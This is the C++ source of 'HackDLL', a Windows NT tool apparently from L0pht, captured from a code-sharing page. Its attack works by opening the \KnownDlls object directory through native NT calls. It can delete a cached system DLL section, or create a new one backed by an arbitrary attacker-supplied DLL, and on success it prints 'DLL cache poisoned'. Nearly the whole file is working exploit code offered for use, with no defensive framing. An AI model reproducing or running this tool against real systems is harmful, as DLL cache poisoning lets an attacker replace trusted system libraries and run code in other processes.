📄 hackdll.cpp
字号:
#define UNICODE
#include <windows.h>
#include <stdio.h>
#include <io.h>
#include <conio.h>
#include "sub_ntddk.h"
// Loaded Functions
NTSTATUS (__stdcall *NtUnmapViewOfSection)(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress
);
NTSTATUS (__stdcall *NtOpenSection)(
OUT PHANDLE SectionHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes
);
NTSTATUS (__stdcall *NtOpenDirectoryObject)(
OUT PHANDLE DirectoryHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes
);
NTSTATUS (__stdcall *NtMapViewOfSection)(
IN HANDLE SectionHandle,
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN ULONG CommitSize,
IN OUT PLARGE_INTEGER SectionOffset, // optional
IN OUT PULONG ViewSize,
IN SECTION_INHERIT InheritDisposition,
IN ULONG AllocationType,
IN ULONG Protect
);
VOID (__stdcall *RtlInitUnicodeString)(
IN OUT PUNICODE_STRING DestinationString,
IN PCWSTR SourceString
);
ULONG (__stdcall *RtlNtStatusToDosError) (
IN NTSTATUS Status
);
VOID (__stdcall *NtClose)(
IN HANDLE Object
);
NTSTATUS (__stdcall *NtCreateFile)(
OUT PHANDLE FileHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN PLARGE_INTEGER AllocationSize OPTIONAL,
IN ULONG FileAttributes,
IN ULONG ShareAccess,
IN ULONG CreateDisposition,
IN ULONG CreateOptions,
IN PVOID EaBuffer OPTIONAL,
IN ULONG EaLength
);
NTSTATUS (__stdcall *NtOpenFile)(
OUT PHANDLE FileHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG ShareAccess,
IN ULONG OpenOptions
);
NTSTATUS (__stdcall *NtCreateSection)(
OUT PHANDLE SectionHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes, // Optional
IN PLARGE_INTEGER MaximumSize, // Optional
IN ULONG SectionPageProtection,
IN ULONG AllocationAttributes,
IN HANDLE FileHandle // Optional
);
NTSTATUS (__stdcall *ObReferenceObjectByHandle)(
IN HANDLE Handle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_TYPE ObjectType, /* optional */
IN KPROCESSOR_MODE AccessMode,
OUT PVOID *Object,
OUT POBJECT_HANDLE_INFORMATION HandleInformation /* optional */
);
NTSTATUS (__stdcall *ZwMakeTemporaryObject)(
IN HANDLE Handle
);
NTSTATUS (__stdcall *ZwCreateDirectoryObject)(
OUT PHANDLE DirectoryHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes
);
NTSTATUS (__stdcall *ZwCreateSection)(
OUT PHANDLE SectionHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes, // Optional
IN PLARGE_INTEGER MaximumSize, // Optional
IN ULONG SectionPageProtection,
IN ULONG AllocationAttributes,
IN HANDLE FileHandle // Optional
);
NTSTATUS (__stdcall *NtExtendSection)(
DWORD arg1,
DWORD arg2
);
NTSTATUS (__stdcall *ZwCreateFile)(
OUT PHANDLE FileHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN PLARGE_INTEGER AllocationSize OPTIONAL,
IN ULONG FileAttributes,
IN ULONG ShareAccess,
IN ULONG CreateDisposition,
IN ULONG CreateOptions,
IN PVOID EaBuffer OPTIONAL,
IN ULONG EaLength
);
// PrintError
// Formats an NTSTATUS error for output
void PrintError( char *message, NTSTATUS status )
{
char *errMsg;
FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
NULL, RtlNtStatusToDosError( status ),
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR) &errMsg, 0, NULL );
printf("%s: %S\n", message, errMsg );
LocalFree( errMsg );
}
// UnmapSection
VOID UnmapSection( DWORD Address )
{
NTSTATUS status;
status = NtUnmapViewOfSection( (HANDLE) -1, (PVOID) Address );
if( !NT_SUCCESS(status)) {
PrintError("Unable to unmap view", status );
}
}
// MapSection
BOOL MapSection( HANDLE Section, PDWORD Address, PDWORD Length, PDWORD VirtualAddress )
{
NTSTATUS ntStatus;
PHYSICAL_ADDRESS viewBase;
*VirtualAddress = 0;
viewBase.QuadPart = (ULONGLONG) (*Address);
ntStatus = NtMapViewOfSection (Section,
(HANDLE) -1,
(PVOID *) VirtualAddress,
0L,
*Length,
&viewBase,
Length,
ViewShare,
0,
PAGE_WRITECOPY );
if( !NT_SUCCESS( ntStatus )) {
PrintError( "Could not map view", ntStatus );
return FALSE;
}
*Address = viewBase.LowPart;
return TRUE;
}
// Opens a Section
HANDLE OpenSection(WCHAR *sectionName)
{
NTSTATUS status;
HANDLE section;
UNICODE_STRING sectionString;
OBJECT_ATTRIBUTES attributes;
RtlInitUnicodeString( §ionString, sectionName );
InitializeObjectAttributes( &attributes, §ionString,
OBJ_CASE_INSENSITIVE, NULL, NULL );
status = NtOpenSection( §ion, SECTION_ALL_ACCESS, &attributes );
if( !NT_SUCCESS( status )) {
PrintError( "Could not open dll section!", status );
return NULL;
}
return section;
}
// LocateEntryPoints
BOOL LocateEntryPoints()
{
if( !(*(DWORD *)&RtlInitUnicodeString = (DWORD) GetProcAddress( GetModuleHandle(TEXT("ntdll.dll")),
"RtlInitUnicodeString" )) ) return FALSE;
if( !(*(DWORD *)&NtUnmapViewOfSection = (DWORD) GetProcAddress( GetModuleHandle(TEXT("ntdll.dll")),
"NtUnmapViewOfSection" )) ) return FALSE;
if( !(*(DWORD *)&NtOpenFile = (DWORD) GetProcAddress( GetModuleHandle(TEXT("ntdll.dll")),
"NtOpenFile" )) ) return FALSE;
if( !(*(DWORD *)&NtOpenDirectoryObject = (DWORD) GetProcAddress( GetModuleHandle(TEXT("ntdll.dll")),
"NtOpenDirectoryObject" )) ) return FALSE;
if( !(*(DWORD *)&NtOpenSection = (DWORD) GetProcAddress( GetModuleHandle(TEXT("ntdll.dll")),
"NtOpenSection" )) ) return FALSE;
if( !(*(DWORD *)&NtMapViewOfSection = (DWORD) GetProcAddress( GetModuleHandle(TEXT("ntdll.dll")),
"NtMapViewOfSection" )) ) return FALSE;
if( !(*(DWORD *)&RtlNtStatusToDosError = (DWORD) GetProcAddress( GetModuleHandle(TEXT("ntdll.dll")),
"RtlNtStatusToDosError" )) ) return FALSE;
if( !(*(DWORD *)&NtClose = (DWORD) GetProcAddress( GetModuleHandle(TEXT("ntdll.dll")),
"NtClose" )) ) return FALSE;
if( !(*(DWORD *)&NtCreateFile = (DWORD) GetProcAddress( GetModuleHandle(TEXT("ntdll.dll")),
"NtCreateFile" )) ) return FALSE;
if( !(*(DWORD *)&NtCreateSection = (DWORD) GetProcAddress( GetModuleHandle(TEXT("ntdll.dll")),
"NtCreateSection" )) ) return FALSE;
if( !(*(DWORD *)&NtExtendSection = (DWORD) GetProcAddress( GetModuleHandle(TEXT("ntdll.dll")),
"NtExtendSection" )) ) return FALSE;
LoadLibrary(TEXT("ntoskrnl.exe"));
if( !(*(DWORD *)&ObReferenceObjectByHandle = (DWORD) GetProcAddress( GetModuleHandle(TEXT("ntoskrnl.exe")),
"ObReferenceObjectByHandle" )) ) return FALSE;
if( !(*(DWORD *)&ZwMakeTemporaryObject = (DWORD) GetProcAddress( GetModuleHandle(TEXT("ntoskrnl.exe")),
"ZwMakeTemporaryObject" )) ) return FALSE;
if( !(*(DWORD *)&ZwCreateDirectoryObject = (DWORD) GetProcAddress( GetModuleHandle(TEXT("ntoskrnl.exe")),
"ZwCreateDirectoryObject" )) ) return FALSE;
if( !(*(DWORD *)&ZwCreateFile = (DWORD) GetProcAddress( GetModuleHandle(TEXT("ntoskrnl.exe")),
"ZwCreateFile" )) ) return FALSE;
if( !(*(DWORD *)&ZwCreateSection = (DWORD) GetProcAddress( GetModuleHandle(TEXT("ntoskrnl.exe")),
"ZwCreateSection" )) ) return FALSE;
return TRUE;
}
// Entry Point
int main( int argc, char *argv[] )
{
NTSTATUS stat;
HANDLE hsec;
IO_STATUS_BLOCK iosb;
HANDLE hfile;
// Load entry points
if( !LocateEntryPoints() ) {
printf("Unable to locate system call entry points.\n"
"Ensure you are running on a Windows NT machine.\n");
return -1;
}
// Print usage information
printf("\nHackDLL v1.0: DLL Cache Section Hacker\nBy DilDog (dildog@l0pht.com)\n\n");
// Parse arguments
int i;
BOOL bArgDel=FALSE,bArgAdd=FALSE,bGoodArgs=FALSE;
WCHAR svDelSectionName[512];
WCHAR svAddSectionName[512];
WCHAR svAddFileName[512];
for(i=1;i<argc;i++) {
if(strcmp(argv[i],"-d")==0) {
bArgDel=TRUE;
if((i++)>=argc) { bGoodArgs=FALSE; break; }
wsprintf(svDelSectionName,TEXT("\\KnownDlls\\%.256S"), argv[i]);
bGoodArgs=TRUE;
}
else if(strcmp(argv[i],"-a")==0) {
bArgAdd=TRUE;
if((i++)>=argc) { bGoodArgs=FALSE; break; }
wsprintf(svAddSectionName,TEXT("\\KnownDlls\\%.256S"), argv[i]);
if((i++)>=argc) { bGoodArgs=FALSE; break; }
wsprintf(svAddFileName,TEXT("\\DosDevices\\%.256S"), argv[i]);
bGoodArgs=TRUE;
}
}
// Print usage information if user is a dumbass
if(!bGoodArgs) {
printf("Usage: hackdll [-d <dll section name>]\n"
" [-a <dll section name> <full dll pathname>]\n"
"At least one of -d, -a must be chosen.\n");
return -1;
}
// - Do section deletion (-d) -------------------------------------------
if(bArgDel) {
// Open dll section
HANDLE section;
if(!(section=OpenSection(svDelSectionName))) {
printf("DLL section name to delete does not exist!\n");
return -1;
}
// Switch object from permanent to temporary (decrease lock count)
stat=ZwMakeTemporaryObject(section);
if(!NT_SUCCESS(stat)) {
printf("Could not set permanent flag on system section! Error 0x%lX", stat);
NtClose(section);
return -1;
}
// Now delete the dll section.
NtClose(section);
}
// - Do section addition (-d) -------------------------------------------
if(bArgAdd) {
// Open the new DLL
UNICODE_STRING fileString;
OBJECT_ATTRIBUTES fileattributes;
RtlInitUnicodeString( &fileString, svAddFileName);
InitializeObjectAttributes( &fileattributes, &fileString,
OBJ_CASE_INSENSITIVE, NULL, NULL);
stat=NtOpenFile(&hfile,
FILE_GENERIC_READ | FILE_GENERIC_WRITE | FILE_GENERIC_EXECUTE,
&fileattributes,
&iosb,
FILE_SHARE_READ | FILE_SHARE_WRITE,
0);
if(!NT_SUCCESS(stat)) {
printf("Could not open your DLL file! Error 0x%lX", stat);
return -1;
}
// Create appropriate security descriptor
SECURITY_DESCRIPTOR sd;
UNICODE_STRING dirString;
OBJECT_ATTRIBUTES dirAttr;
HANDLE hdir;
RtlInitUnicodeString( &dirString, TEXT("\\KnownDlls"));
InitializeObjectAttributes( &dirAttr, &dirString,
OBJ_CASE_INSENSITIVE, NULL, NULL);
stat=NtOpenDirectoryObject(&hdir,
DIRECTORY_ALL_ACCESS,
&dirAttr);
if(!NT_SUCCESS(stat)) {
printf("Could not open KnownDlls directory! Error 0x%lX", stat);
CloseHandle(hfile);
return -1;
}
DWORD bytes;
GetKernelObjectSecurity(hdir,DACL_SECURITY_INFORMATION,&sd,sizeof(SECURITY_DESCRIPTOR),&bytes);
// Create a new section
UNICODE_STRING sectionString;
OBJECT_ATTRIBUTES sectionAttr;
RtlInitUnicodeString( §ionString, svAddSectionName);
InitializeObjectAttributes( §ionAttr, §ionString,
0, NULL, &sd);
stat=NtCreateSection(&hsec,
SECTION_ALL_ACCESS,
§ionAttr,
NULL,
PAGE_EXECUTE_READWRITE,
SEC_IMAGE,
hfile);
if(!NT_SUCCESS(stat)) {
printf("Could not create section! Error 0x%lX", stat);
CloseHandle(hfile);
return -1;
}
printf("DLL cache poisoned.\nHit any key when you think you're done...\n");
while(!kbhit()) Sleep(0);
// Close handles
NtClose(hfile);
NtClose(hsec);
}
return 0;
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -